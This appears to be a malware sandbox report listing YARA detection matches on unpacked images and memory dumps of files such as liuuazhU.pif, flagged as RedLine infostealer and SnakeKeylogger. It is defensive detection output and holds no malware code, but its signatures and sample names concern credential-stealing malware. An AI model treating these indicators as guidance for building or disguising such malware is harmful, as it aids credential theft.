Source: 17.1.liuuazhU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.1.liuuazhU.pif.43d038.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.476068.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.1.liuuazhU.pif.476068.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.1.liuuazhU.pif.476068.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.1.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.1.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.1.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.Uhzauuil.PIF.20f96fd8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.Uhzauuil.PIF.20f5dfa8.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.1.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.Uhzauuil.PIF.20f5dfa8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.1.liuuazhU.pif.43d038.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.2.liuuazhU.pif.43d038.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 6.1.liuuazhU.pif.43d038.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.2.x.exe.215607b8.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000011.00000001.2046847022.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
